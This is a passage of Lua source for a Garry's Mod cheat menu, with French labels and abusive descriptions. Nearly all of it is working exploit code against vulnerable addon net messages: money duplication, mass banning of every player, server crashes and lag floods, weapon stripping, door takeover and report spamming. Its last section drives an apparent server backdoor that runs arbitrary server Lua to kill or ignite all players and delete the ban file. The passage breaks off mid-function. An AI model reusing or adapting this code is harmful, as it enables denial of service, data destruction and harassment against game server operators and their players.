  6772. scan = function() return iZNX.ValidNetString( "TOW_SubmitWarning" ) end,
  6773. functions = {
  6774. { typ = "func", name = "Spawn Dépanneuse", func = function()
  6775. iZNX.NetStart("TowTruck_CreateTowTruck")
  6776. net.SendToServer()
  6777. end, },
  6778. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent17" },
  6779. { typ = "func", name = "Argent Exploit", func = function()
  6780. for k,v in pairs(ents.GetAll()) do
  6781. iZNX.NetStart("TOW_SubmitWarning")
  6782. net.WriteString(LocalPlayer():SteamID())
  6783. net.WriteDouble(-iZNX.GetStored( "montant_argent17" ))
  6784. net.WriteEntity(v)
  6785. net.SendToServer()
  6786. iZNX.NetStart("TOW_PayTheFine")
  6787. net.WriteEntity(v)
  6788. net.SendToServer()
  6789. end
  6790. end, },
  6791. },
  6792. } )
  6793. iZNX.AddExploit( "Fire Truck", {
  6794. desc = "Spawn camion de pompier",
  6795. severity = 1,
  6796. scan = function() return iZNX.ValidNetString( "FIRE_CreateFireTruck" ) end,
  6797. functions = {
  6798. { typ = "func", name = "Spawn", func = function()
  6799. iZNX.NetStart("FIRE_CreateFireTruck")
  6800. net.SendToServer()
  6801. end, },
  6802. },
  6803. } )
  6804. iZNX.AddExploit( "€ Hit Menu €", {
  6805. desc = "Exploit d'argent",
  6806. severity = 3,
  6807. scan = function() return iZNX.ValidNetString( "hitcomplete" ) end,
  6808. functions = {
  6809. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent18" },
  6810. { typ = "func", name = "Prendre", func = function()
  6811. iZNX.NetStart("hitcomplete")
  6812. net.WriteDouble(iZNX.GetStored( "montant_argent18" ))
  6813. net.SendToServer()
  6814. end, },
  6815. },
  6816. } )
  6817. iZNX.AddExploit( "€ HHH €", {
  6818. desc = "Exploit d'argent",
  6819. severity = 3,
  6820. scan = function() return iZNX.ValidNetString( "hhh_request" ) end,
  6821. functions = {
  6822. { typ = "func", name = "Prendre", func = function()
  6823. local plyhhh = LocalPlayer()
  6824. for k,v in pairs(player.GetAll()) do
  6825. dahater = v
  6826. end
  6827. if dahater != plyhhh then
  6828. local hitRequest = {}
  6829. hitRequest.hitman = plyhhh
  6830. hitRequest.requester = plyhhh
  6831. hitRequest.target = dahater
  6832. hitRequest.reward = -9999999
  6833. iZNX.NetStart( 'hhh_request' )
  6834. net.WriteTable( hitRequest )
  6835. net.SendToServer()
  6836. else
  6837. iZNX.ChatText( "Cette version de HHH n'est pas exploitable !" )
  6838. end
  6839. end, },
  6840. },
  6841. } )
  6842. iZNX.AddExploit( "€ DaHit €", {
  6843. desc = "Exploit d'argent",
  6844. severity = 3,
  6845. scan = function() return iZNX.ValidNetString( "DaHit" ) end,
  6846. functions = {
  6847. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent20" },
  6848. { typ = "players", addr = "l_players_listdahit" },
  6849. { typ = "func", name = "Donner", func = function()
  6850. local t = iZNX.GetStored( "l_players_listdahit", {} )
  6851. for k, v in pairs( player.GetAll() ) do
  6852. if !table.HasValue( t, v ) then continue end
  6853. hook.Remove( "HUDPaint", "skhdsakjl")
  6854. iZNX.NetStart( "DaHit" )
  6855. net.WriteFloat( -iZNX.GetStored( "montant_argent20" ) )
  6856. net.WriteEntity( v )
  6857. net.WriteEntity( v )
  6858. net.WriteEntity( v )
  6859. net.SendToServer()
  6860. end
  6861. end, },
  6862. { typ = "func", name = "Enlever", func = function()
  6863. local t = iZNX.GetStored( "l_players_listdahit", {} )
  6864. for k, v in pairs( player.GetAll() ) do
  6865. if !table.HasValue( t, v ) then continue end
  6866. hook.Remove( "HUDPaint", "skhdsakjl")
  6867. iZNX.NetStart( "DaHit" )
  6868. net.WriteFloat( iZNX.GetStored( "montant_argent20" ) )
  6869. net.WriteEntity( v )
  6870. net.WriteEntity( v )
  6871. net.WriteEntity( v )
  6872. net.SendToServer()
  6873. end
  6874. end, },
  6875. { typ = "func", name = "Spam Prendre", func = function()
  6876. if !timer.Exists( "Lokidev_exploit_spamdahitprendre" ) then
  6877. iZNX.ChatText( "Spam lancé" )
  6878. timer.Create( "Lokidev_exploit_spamdahitprendre", 1, 0, function()
  6879. local t = iZNX.GetStored( "l_players_listdahit", {} )
  6880. for k, v in pairs( player.GetAll() ) do
  6881. if !table.HasValue( t, v ) then continue end
  6882. hook.Remove( "HUDPaint", "skhdsakjl")
  6883. iZNX.NetStart( "DaHit" )
  6884. net.WriteFloat( -iZNX.GetStored( "montant_argent20" ) )
  6885. net.WriteEntity( v )
  6886. net.WriteEntity( v )
  6887. net.WriteEntity( v )
  6888. net.SendToServer()
  6889. end
  6890. end)
  6891. else
  6892. timer.Remove( "Lokidev_exploit_spamdahitprendre" )
  6893. iZNX.ChatText( "Spam stoppé" )
  6894. end
  6895. end, },
  6896. { typ = "func", name = "Spam Enlever", func = function()
  6897. if !timer.Exists( "Lokidev_exploit_spamdahitenlever" ) then
  6898. iZNX.ChatText( "Spam lancé" )
  6899. timer.Create( "Lokidev_exploit_spamdahitenlever", 1, 0, function()
  6900. local t = iZNX.GetStored( "l_players_listdahit", {} )
  6901. for k, v in pairs( player.GetAll() ) do
  6902. if !table.HasValue( t, v ) then continue end
  6903. hook.Remove( "HUDPaint", "skhdsakjl")
  6904. iZNX.NetStart( "DaHit" )
  6905. net.WriteFloat( iZNX.GetStored( "montant_argent20" ) )
  6906. net.WriteEntity( v )
  6907. net.WriteEntity( v )
  6908. net.WriteEntity( v )
  6909. net.SendToServer()
  6910. end
  6911. end)
  6912. else
  6913. timer.Remove( "Lokidev_exploit_spamdahitenlever" )
  6914. iZNX.ChatText( "Spam stoppé" )
  6915. end
  6916. end, },
  6917. },
  6918. } )
  6919. iZNX.AddExploit( "Anti-Printer", {
  6920. desc = "Appliquez des dommages constants aux Printers à proximité",
  6921. severity = 1,
  6922. scan = function() return iZNX.ValidNetString( "customprinter_get" ) end,
  6923. functions = {
  6924. { typ = "func", name = "Lancer", func = function()
  6925. if !timer.Exists( "Lokidev_exploit_printersmasher" ) then
  6926. iZNX.ChatText( "Anti-Printer lancé" )
  6927. timer.Create( "Lokidev_exploit_printersmasher", 0, 0, function()
  6928. for k, v in pairs( ents.GetAll() ) do
  6929. if ( v:GetClass():find("print") && v:GetPos():Distance( LocalPlayer():GetPos() ) <= 750 ) then
  6930. iZNX.NetStart("customprinter_get")
  6931. net.WriteEntity(v)
  6932. net.WriteString("onoff")
  6933. net.SendToServer()
  6934. end
  6935. end
  6936. end)
  6937. else
  6938. timer.Remove( "Lokidev_exploit_printersmasher" )
  6939. iZNX.ChatText( "Anti-Printer stoppé" )
  6940. end
  6941. end, },
  6942. },
  6943. } )
  6944. iZNX.AddExploit( "Crash le Serveur", {
  6945. desc = "Comme sont nom l'indique niquez moi ce serveur de la",
  6946. severity = 3,
  6947. scan = function() return iZNX.ValidNetString( "textstickers_entdata" ) end,
  6948. functions = {
  6949. { typ = "func", name = "Crash", func = function()
  6950. iZNX.NetStart( "textstickers_entdata" )
  6951. net.WriteUInt( 0xFFFFFFF, 32 )
  6952. net.SendToServer()
  6953. end, },
  6954. },
  6955. } )
  6956. iZNX.AddExploit( "Munition Gratuit", {
  6957. desc = "Vous donne des munition pour toutes vos armes",
  6958. severity = 1,
  6959. scan = function() return iZNX.ValidNetString( "TCBBuyAmmo" ) end,
  6960. functions = {
  6961. { typ = "func", name = "Prendre", func = function()
  6962. for k,v in pairs(GAMEMODE.AmmoTypes) do
  6963. iZNX.NetStart("TCBBuyAmmo")
  6964. net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
  6965. net.SendToServer()
  6966. end
  6967. end, },
  6968. },
  6969. } )
  6970. iZNX.AddExploit( "€ Advanced Money Printer €", {
  6971. desc = "Voler tout l'argent des printers",
  6972. severity = 3,
  6973. scan = function() return iZNX.ValidNetString( "DataSend" ) end,
  6974. functions = {
  6975. { typ = "func", name = "Prendre", func = function()
  6976. for k, v in pairs( ents.GetAll() ) do
  6977. if v:GetClass() == "adv_moneyprinter" then
  6978. iZNX.NetStart("DataSend")
  6979. net.WriteFloat(2)
  6980. net.WriteEntity(v)
  6981. net.WriteEntity(LocalPlayer())
  6982. net.SendToServer()
  6983. end
  6984. end
  6985. end, },
  6986. },
  6987. } )
  6988. iZNX.AddExploit( "gBan Ban tout le monde", {
  6989. desc = "Exploit pout bannir tout le monde sauf toi ^^, exploit trouvé dans une ancienne version de gBan",
  6990. severity = 3,
  6991. scan = function() return iZNX.ValidNetString( "gBan.BanBuffer" ) end,
  6992. functions = {
  6993. { typ = "func", name = "Lancer", func = function()
  6994. for k,v in pairs(player.GetAll()) do
  6995. if v != LocalPlayer() then
  6996. iZNX.NetStart( "gBan.BanBuffer" )
  6997. net.WriteBool( true )
  6998. net.WriteInt( 0, 32 )
  6999. net.WriteString( "Des poutous partout" )
  7000. net.WriteString( v:SteamID() )
  7001. net.SendToServer()
  7002. end
  7003. end
  7004. end, },
  7005. },
  7006. } )
  7007. iZNX.AddExploit( "Lag Exploit #1", {
  7008. desc = "L'admin devrait avoir honte de faire payer un VIP.",
  7009. severity = 2,
  7010. scan = function() return iZNX.ValidNetString( "ATS_WARP_REMOVE_CLIENT" ) end,
  7011. functions = {
  7012. { typ = "func", name = "Big Lag", func = function()
  7013. if !timer.Exists( "Lokidev_exploit_lagsploit1" ) then
  7014. iZNX.ChatText( "Lag lancé" )
  7015. timer.Create( "Lokidev_exploit_lagsploit1", 0.02, 0, function()
  7016. for k,v in pairs(player.GetAll()) do
  7017. iZNX.NetStart( "ATS_WARP_REMOVE_CLIENT" )
  7018. net.WriteEntity( v )
  7019. net.WriteString( "adminroom1" )
  7020. net.SendToServer()
  7021. iZNX.NetStart( "ATS_WARP_FROM_CLIENT" )
  7022. net.WriteEntity( v )
  7023. net.WriteString( "adminroom1" )
  7024. net.SendToServer()
  7025. iZNX.NetStart( "ATS_WARP_VIEWOWNER" )
  7026. net.WriteEntity( v )
  7027. net.WriteString( "adminroom1" )
  7028. net.SendToServer()
  7029. end
  7030. end)
  7031. else
  7032. timer.Remove( "Lokidev_exploit_lagsploit1" )
  7033. iZNX.ChatText( "Lag stoppé" )
  7034. end
  7035. end, },
  7036. },
  7037. } )
  7038. iZNX.AddExploit( "Console Spam", {
  7039. desc = "Il suffit de spammer dans la console",
  7040. severity = 1,
  7041. scan = function() return ULib end,
  7042. functions = {
  7043. { typ = "func", name = "Big Spam", func = function()
  7044. if !timer.Exists( "Lokidev_exploit_bigspames2" ) then
  7045. iZNX.ChatText( "Lag lancé" )
  7046. timer.Create( "Lokidev_exploit_bigspames2", 0, 0, function()
  7047. for i = 1, 200 do
  7048. LocalPlayer():ConCommand( "_u Seized by NineTailedFox xD " )
  7049. end
  7050. end)
  7051. else
  7052. timer.Remove( "Lokidev_exploit_bigspames2" )
  7053. iZNX.ChatText( "Lag stoppé" )
  7054. end
  7055. end, },
  7056. },
  7057. } )
  7058. iZNX.AddExploit( "Lag Exploit #2", {
  7059. desc = "Clique pour mettre en position croque mcdo le fonda!",
  7060. severity = 1,
  7061. scan = function() return iZNX.ValidNetString( "Keypad" ) end,
  7062. functions = {
  7063. { typ = "func", name = "Big Lag", func = function()
  7064. if !timer.Exists( "Lokidev_exploit_lagsploit4" ) then
  7065. iZNX.ChatText( "Lag lancé" )
  7066. timer.Create( "Lokidev_exploit_lagsploit4", 0, 0, function()
  7067. for i = 1, 1000 do
  7068. iZNX.NetStart("Keypad")
  7069. net.WriteEntity(LocalPlayer())
  7070. net.SendToServer()
  7071. end
  7072. end)
  7073. else
  7074. timer.Remove( "Lokidev_exploit_lagsploit4" )
  7075. iZNX.ChatText( "Lag stoppé" )
  7076. end
  7077. end, },
  7078. },
  7079. } )
  7080. iZNX.AddExploit( "Lag Exploit #3", {
  7081. desc = "Faire lag le serveur comme s'il était hébergé en Afrique",
  7082. severity = 2,
  7083. scan = function() return iZNX.ValidNetString( "CreateCase" ) end,
  7084. functions = {
  7085. { typ = "func", name = "Big Lag", func = function()
  7086. if !timer.Exists( "Lokidev_exploit_lagsploit5" ) then
  7087. iZNX.ChatText( "Lag lancé" )
  7088. timer.Create( "Lokidev_exploit_lagsploit5", 0.02, 0, function()
  7089. for i = 1, 300 do
  7090. iZNX.NetStart( "CreateCase" )
  7091. net.WriteString( "Bitch please" )
  7092. net.SendToServer()
  7093. end
  7094. end)
  7095. else
  7096. timer.Remove( "Lokidev_exploit_lagsploit5" )
  7097. iZNX.ChatText( "Lag stoppé" )
  7098. end
  7099. end, },
  7100. },
  7101. } )
  7102. iZNX.AddExploit( "Lag Exploit #4", {
  7103. desc = "Il doit y en avoir des merdes dans ce serveur !",
  7104. severity = 2,
  7105. scan = function() return iZNX.ValidNetString( "rprotect_terminal_settings" ) end,
  7106. functions = {
  7107. { typ = "func", name = "Big Lag", func = function()
  7108. if !timer.Exists( "Lokidev_exploit_lagsploit6" ) then
  7109. iZNX.ChatText( "Lag lancé" )
  7110. timer.Create( "Lokidev_exploit_lagsploit6", 0.02, 0, function()
  7111. for i = 1, 200 do
  7112. iZNX.NetStart( "rprotect_terminal_settings" )
  7113. net.WriteEntity( LocalPlayer() )
  7114. net.SendToServer()
  7115. end
  7116. end)
  7117. else
  7118. timer.Remove( "Lokidev_exploit_lagsploit6" )
  7119. iZNX.ChatText( "Lag stoppé" )
  7120. end
  7121. end, },
  7122. },
  7123. } )
  7124. iZNX.AddExploit( "Lag Exploit #5", {
  7125. desc = "Faire crash un serveur sans props ? Le Serveur en Sueur xD !",
  7126. severity = 2,
  7127. scan = function() return iZNX.ValidNetString( "StackGhost" ) end,
  7128. functions = {
  7129. { typ = "func", name = "Big Lags", func = function()
  7130. if !timer.Exists( "Lokidev_exploit_lagsploit7" ) then
  7131. iZNX.ChatText( "Lag lancé" )
  7132. timer.Create( "Lokidev_exploit_lagsploit7", 0.015, 0, function()
  7133. for i = 1, 8 do
  7134. for k,v in pairs( player.GetAll() ) do
  7135. iZNX.NetStart( "StackGhost" )
  7136. net.WriteInt(69,32)
  7137. net.SendToServer()
  7138. end
  7139. end
  7140. end)
  7141. else
  7142. timer.Remove( "Lokidev_exploit_lagsploit7" )
  7143. iZNX.ChatText( "Lag stoppé" )
  7144. end
  7145. end, },
  7146. },
  7147. } )
  7148. iZNX.AddExploit( "Réanimation Exploit", {
  7149. desc = "Vous etes automatiquement réanimé après avoir été tué",
  7150. severity = 2,
  7151. scan = function() return iZNX.ValidNetString( "RevivePlayer" ) end,
  7152. functions = {
  7153. { typ = "func", name = "Immortel :)", func = function()
  7154. if !timer.Exists( "Lokidev_exploit_zombie" ) then
  7155. iZNX.ChatText( "Tu es Immortel" )
  7156. timer.Create( "Lokidev_exploit_zombie", 0.5, 0, function()
  7157. if !LocalPlayer():Alive() then
  7158. iZNX.NetStart("RevivePlayer")
  7159. net.WriteEntity(LocalPlayer())
  7160. net.SendToServer()
  7161. end
  7162. end)
  7163. else
  7164. timer.Remove( "Lokidev_exploit_zombie" )
  7165. iZNX.ChatText( "Tu es redevenu Mortel!" )
  7166. end
  7167. end, },
  7168. },
  7169. } )
  7170. iZNX.AddExploit( "Armory Robbery", {
  7171. desc = "Prenez les armes de la police à l'armurerie (Vous devez etre proche d'elle), a un temps de recharge de 5 minutes",
  7172. severity = 2,
  7173. scan = function() return iZNX.ValidNetString( "ARMORY_RetrieveWeapon" ) end,
  7174. functions = {
  7175. { typ = "func", name = "Prendre Arme 1", func = function()
  7176. iZNX.NetStart("ARMORY_RetrieveWeapon")
  7177. net.WriteString("weapon1")
  7178. net.SendToServer()
  7179. end, },
  7180. { typ = "func", name = "Prendre Arme 2", func = function()
  7181. iZNX.NetStart("ARMORY_RetrieveWeapon")
  7182. net.WriteString("weapon2")
  7183. net.SendToServer()
  7184. end, },
  7185. { typ = "func", name = "Prendre Arme 3", func = function()
  7186. iZNX.NetStart("ARMORY_RetrieveWeapon")
  7187. net.WriteString("weapon3")
  7188. net.SendToServer()
  7189. end, },
  7190. },
  7191. } )
  7192. iZNX.AddExploit( "Admin Stick / Porte exploit", {
  7193. desc = "Déverrouiller / Verrouiller Porte / Enlever le proprio (vous devez regarder une porte)",
  7194. severity = 3,
  7195. scan = function() return iZNX.ValidNetString( "fp_as_doorHandler" ) end,
  7196. functions = {
  7197. { typ = "func", name = "Déverrouiller", func = function()
  7198. iZNX.NetStart("fp_as_doorHandler")
  7199. net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
  7200. net.WriteString("unlock")
  7201. net.SendToServer()
  7202. end, },
  7203. { typ = "func", name = "Verrouiller", func = function()
  7204. iZNX.NetStart("fp_as_doorHandler")
  7205. net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
  7206. net.WriteString("lock")
  7207. net.SendToServer()
  7208. end, },
  7209. { typ = "func", name = "Enlever le Proprio", func = function()
  7210. local door = LocalPlayer():GetEyeTrace().Entity
  7211. local doorOwner = door:getDoorData()["owner"]
  7212. iZNX.NetStart("fp_as_doorHandler")
  7213. net.WriteEntity(door)
  7214. net.WriteString("removeOwner")
  7215. net.WriteDouble(doorOwner)
  7216. net.SendToServer()
  7217. end, },
  7218. },
  7219. } )
  7220. iZNX.AddExploit( "Lokidev Report Spammer", {
  7221. desc = "Envoyer des Report sur tout le monde",
  7222. severity = 1,
  7223. scan = function() return iZNX.ValidNetString( "TransferReport" ) end,
  7224. functions = {
  7225. { typ = "func", name = "Report Tout le Monde", func = function()
  7226. for k, v in pairs( player.GetAll() ) do
  7227. iZNX.NetStart( "TransferReport" )
  7228. net.WriteString( v:SteamID() )
  7229. net.WriteString( "SERVEUR CODER PAR LE Q" )
  7230. net.WriteString( "Bitch please" )
  7231. net.SendToServer()
  7232. end
  7233. end, },
  7234. },
  7235. } )
  7236. iZNX.AddExploit( "SAC Crash", {
  7237. desc = "Fait instantanément Crash n'importe quel serveur exécutant la simplicité anticheat",
  7238. severity = 3,
  7239. scan = function() return iZNX.ValidNetString( "SimplicityAC_aysent" ) end,
  7240. functions = {
  7241. { typ = "func", name = "Crash", func = function()
  7242. local tbl = {}
  7243. for i=1,400 do
  7244. tbl[i] = i
  7245. end
  7246. iZNX.NetStart("SimplicityAC_aysent")
  7247. net.WriteUInt(1, 8)
  7248. net.WriteUInt(4294967295, 32)
  7249. net.WriteTable(tbl)
  7250. net.SendToServer()
  7251. end, },
  7252. },
  7253. } )
  7254. iZNX.AddExploit( "Crash Serveur", {
  7255. desc = "Cliquez sur ce bouton pour Crash le serveur instantanément.",
  7256. severity = 3,
  7257. scan = function() return iZNX.ValidNetString( "pac_to_contraption" ) end,
  7258. functions = {
  7259. { typ = "func", name = "Crash", func = function()
  7260. local tbl = {}
  7261. for i=1,1000000000 do
  7262. tbl[#tbl + 1] = i
  7263. end
  7264. iZNX.NetStart("pac_to_contraption")
  7265. net.WriteTable( tbl )
  7266. net.SendToServer()
  7267. end, },
  7268. },
  7269. } )
  7270. local function nukeweapon( ent )
  7271. if !ent:IsValid() then return end
  7272. if ent.LNextNuke and ent.LNextNuke > CurTime() then return end
  7273. iZNX.NetStart("properties")
  7274. net.WriteString("remove")
  7275. net.WriteEntity( ent )
  7276. net.SendToServer()
  7277. ent.LNextNuke = CurTime() + 0.5
  7278. end
  7279. local function nukeallweapons( tab )
  7280. for k, v in pairs( tab ) do
  7281. if !v:IsValid() then continue end
  7282. if v.LNextNuke and v.LNextNuke > CurTime() then continue end
  7283. iZNX.NetStart("properties")
  7284. net.WriteString("remove")
  7285. net.WriteEntity( v )
  7286. net.SendToServer()
  7287. end
  7288. end
  7289. iZNX.AddExploit( "Strip les armes", {
  7290. desc = "Enlever les armes de n'importe quel fils de pute.",
  7291. severity = 3,
  7292. scan = function() return iZNX.ValidNetString( "properties" ) and (!FPP or (FPP and FPP.Settings.FPP_TOOLGUN1.worldprops == 1)) end,
  7293. functions = {
  7294. { typ = "string", name = "Type d'Arme à Strip", default = "*", addr = "stripper_gunz" },
  7295. { typ = "players", addr = "stripper_plyz" },
  7296. { typ = "func", name = "Strip", func = function()
  7297. if !timer.Exists( "stripclub" ) then
  7298. iZNX.ChatText( "Strip lancé" )
  7299. timer.Create( "stripclub", 0.5, 0, function()
  7300. local t = iZNX.GetStored( "stripper_plyz", {} )
  7301. for k, v in pairs( player.GetAll() ) do
  7302. if !table.HasValue( t, v ) then continue end
  7303. local gunz = v:GetWeapons()
  7304. local findstring = iZNX.GetStored( "stripper_gunz", "*" )
  7305. if findstring == "*" then nukeallweapons( gunz ) return end
  7306. local findstringtab = string.Explode( ", ", findstring )
  7307. for _, g in pairs( gunz ) do
  7308. for _, s in pairs( findstringtab ) do
  7309. if string.find( string.lower( g:GetClass() ), s ) then
  7310. nukeweapon( g )
  7311. end
  7312. end
  7313. end
  7314. end
  7315. end)
  7316. else
  7317. timer.Remove( "stripclub" )
  7318. iZNX.ChatText( "Strip stoppé" )
  7319. end
  7320. end, },
  7321. },
  7322. } )
  7323. function iZNX.MakeFunctionButton( parent, x, y, btext, func, tooltip)
  7324. if !parent:IsValid() then return end
  7325. local TButton = vgui.Create( "DButton" )
  7326. TButton:SetParent( parent )
  7327. TButton:SetPos( x, y )
  7328. TButton:SetText( btext )
  7329. TButton:SetTextColor( Color(255, 255, 255, 255) )
  7330. TButton:SizeToContents()
  7331. TButton:SetTall( 24 )
  7332. if tooltip then TButton:SetToolTip( tooltip ) end
  7333. TButton.Paint = function( self, w, h )
  7334. surface.SetDrawColor( Color(60, 60, 60, 200) )
  7335. surface.DrawRect( 0, 0, w, h )
  7336. surface.SetDrawColor( Color( 60, 60, 60 ) )
  7337. surface.SetMaterial( downgrad )
  7338. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  7339. surface.SetDrawColor( Color(100, 100, 100, 255) )
  7340. surface.DrawOutlinedRect( 0, 0, w, h )
  7341. end
  7342. TButton.DoClick = function()
  7343. func()
  7344. end
  7345. return TButton:GetWide(), TButton:GetTall()
  7346. end
  7347. function iZNX.HTXBackdoor( parent, x, y, btext )
  7348. if !parent:IsValid() then return end
  7349. local TButton = vgui.Create( "DButton" )
  7350. TButton:SetParent( parent )
  7351. TButton:SetPos( x, y )
  7352. TButton:SetText( btext )
  7353. TButton:SetTextColor( Color(255, 255, 255, 255) )
  7354. TButton:SizeToContents()
  7355. TButton:SetTall( 24 )
  7356. TButton.Paint = function( self, w, h )
  7357. surface.SetDrawColor( Color(100, 60, 60, 200) )
  7358. surface.DrawRect( 0, 0, w, h )
  7359. surface.SetDrawColor( Color( 60, 60, 60 ) )
  7360. surface.SetMaterial( downgrad )
  7361. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  7362. surface.SetDrawColor( Color(100, 100, 100, 255) )
  7363. surface.DrawOutlinedRect( 0, 0, w, h )
  7364. surface.SetDrawColor( Color(110, 70, 70, 255) )
  7365. surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
  7366. end
  7367. TButton.DoClick = function()
  7368. iZNX.HTXCommandeListe()
  7369. end
  7370. return TButton:GetWide(), TButton:GetTall()
  7371. end
  7372. function iZNX.HTXCommandeListe()
  7373. if iZNX.HTXCommandeSelector and iZNX.HTXCommandeSelector:IsVisible() then iZNX.HTXCommandeSelector:Remove() end
  7374. iZNX.HTXCommandeSelector = vgui.Create("DFrame")
  7375. iZNX.HTXCommandeSelector:SetSize(240,350)
  7376. iZNX.HTXCommandeSelector:SetTitle("HTX Commandes")
  7377. iZNX.HTXCommandeSelector:SetPos( gui.MouseX(), gui.MouseY() )
  7378. iZNX.HTXCommandeSelector:MakePopup()
  7379. iZNX.HTXCommandeSelector.Paint = function( s, w, h )
  7380. if !iZNX.Menu or !iZNX.Menu:IsVisible() then s:Remove() return end
  7381. surface.SetDrawColor( Color(30, 30, 30, 245) )
  7382. surface.DrawRect( 0, 0, w, h )
  7383. surface.SetDrawColor( Color(55, 55, 55, 245) )
  7384. surface.DrawOutlinedRect( 0, 0, w, h )
  7385. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  7386. end
  7387. local DScrollPanel = vgui.Create( "DScrollPanel", iZNX.HTXCommandeSelector )
  7388. DScrollPanel:Dock( FILL )
  7389. local commandnethtx1 = vgui.Create("DButton", DScrollPanel)
  7390. commandnethtx1:SetSize( 208, 20 )
  7391. commandnethtx1:SetPos( 2, 175 )
  7392. commandnethtx1:SetText("Tuer tous les joueurs")
  7393. commandnethtx1:SetTextColor(Color(255, 255, 255, 255))
  7394. commandnethtx1.Paint = function(panel, w, h)
  7395. surface.SetDrawColor(100, 100, 100 ,255)
  7396. surface.DrawOutlinedRect(0, 0, w, h)
  7397. surface.SetDrawColor(50, 0, 0 ,155)
  7398. surface.DrawRect(0, 0, w, h)
  7399. end
  7400. commandnethtx1.DoClick = function()
  7401. iZNX.NetStart(thefrenchenculer)
  7402. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
  7403. net.WriteBit(1)
  7404. net.SendToServer()
  7405. end
  7406. local commandnethtx2 = vgui.Create("DButton", DScrollPanel)
  7407. commandnethtx2:SetSize( 208, 20 )
  7408. commandnethtx2:SetPos( 2, 100 )
  7409. commandnethtx2:SetText("Super-Spam Visuel/Sonore 2")
  7410. commandnethtx2:SetTextColor(Color(255, 255, 255, 255))
  7411. commandnethtx2.Paint = function(panel, w, h)
  7412. surface.SetDrawColor(100, 100, 100 ,255)
  7413. surface.DrawOutlinedRect(0, 0, w, h)
  7414. surface.SetDrawColor(50, 0, 0 ,155)
  7415. surface.DrawRect(0, 0, w, h)
  7416. end
  7417. commandnethtx2.DoClick = function()
  7418. iZNX.NetStart(thefrenchenculer)
  7419. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SendLua([[local hud = vgui.Create(\"HTML\") hud:MoveToFront() hud:SetSize(200,158) hud:SetPos(0,0) hud:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531246-swag-dance.gif\")]]) v:SendLua([[local hud2 = vgui.Create(\"HTML\") hud2:MoveToFront() hud2:SetSize(200,158) hud2:SetPos(0,ScrH()-158) hud2:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531305-spin.gif\")]]) v:SendLua([[local hud3 = vgui.Create(\"HTML\") hud3:MoveToFront() hud3:SetSize(200,158) hud3:SetPos(ScrW()-200,0) hud3:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531246-swag-dance.gif\")]]) v:SendLua([[local hud4 = vgui.Create(\"HTML\") hud4:MoveToFront() hud4:SetSize(200,158) hud4:SetPos(ScrW()-200,ScrH()-158) hud4:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531305-spin.gif\")]]) timer.Create( \"spamsondeouf\", 1, 0, function() v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end) v:SendLua([[hook.Add(\"HUDPaint\",\"c\", function() draw.RoundedBox(0,0,0,ScrW(),ScrH(),Color(math.random(1,255),math.random(1,255),math.random(1,255),155)) end)]]) end BroadcastLua([[hook.Add( \"RenderScreenspaceEffects\", \"ohgod\", function() local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) ) DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) ) DrawMaterialOverlay( \"effects/tp_eyefx/tpeye\", 1 ) end)]]) BroadcastLua([[timer.Create( \"thedrop\", 0.42, 0, function() util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 ) end )]]) BroadcastLua([[local hud3 = vgui.Create(\"HTML\") hud3:SetSize(400,300) hud3:SetPos(ScrW()/2-200,ScrH()/2-150) hud3:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531253-skel2.gif\")]])" )
  7420. net.WriteBit(1)
  7421. net.SendToServer()
  7422. end
  7423. local commandnethtx3 = vgui.Create("DButton", DScrollPanel )
  7424. commandnethtx3:SetSize( 208, 20 )
  7425. commandnethtx3:SetPos( 2, 375 )
  7426. commandnethtx3:SetText("Débannir tout les bannis")
  7427. commandnethtx3:SetTextColor(Color(255, 255, 255, 255))
  7428. commandnethtx3.Paint = function(panel, w, h)
  7429. surface.SetDrawColor(100, 100, 100 ,255)
  7430. surface.DrawOutlinedRect(0, 0, w, h)
  7431. surface.SetDrawColor(50, 0, 0 ,155)
  7432. surface.DrawRect(0, 0, w, h)
  7433. end
  7434. commandnethtx3.DoClick = function()
  7435. iZNX.NetStart(thefrenchenculer)
  7436. net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
  7437. net.WriteBit(1)
  7438. net.SendToServer()
  7439. end
  7440. local commandnethtx4 = vgui.Create("DButton", DScrollPanel )
  7441. commandnethtx4:SetSize( 208, 20 )
  7442. commandnethtx4:SetPos( 2, 125 )
  7443. commandnethtx4:SetText("Ignite tous les joueurs")
  7444. commandnethtx4:SetTextColor(Color(255, 255, 255, 255))
  7445. commandnethtx4.Paint = function(panel, w, h)
  7446. surface.SetDrawColor(100, 100, 100 ,255)
  7447. surface.DrawOutlinedRect(0, 0, w, h)
  7448. surface.SetDrawColor(50, 0, 0 ,155)
  7449. surface.DrawRect(0, 0, w, h)
  7450. end
  7451. commandnethtx4.DoClick = function()
  7452. iZNX.NetStart(thefrenchenculer)
  7453. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
  7454. net.WriteBit(1)
  7455. net.SendToServer()
  7456. end
  7457. local commandnethtx5 = vgui.Create("DButton", DScrollPanel )
  7458. commandnethtx5:SetSize( 208, 20 )
  7459. commandnethtx5:SetPos( 2, 150 )
  7460. commandnethtx5:SetText("Supprimer les grades")
  7461. commandnethtx5:SetTextColor(Color(255, 255, 255, 255))
  7462. commandnethtx5.Paint = function(panel, w, h)
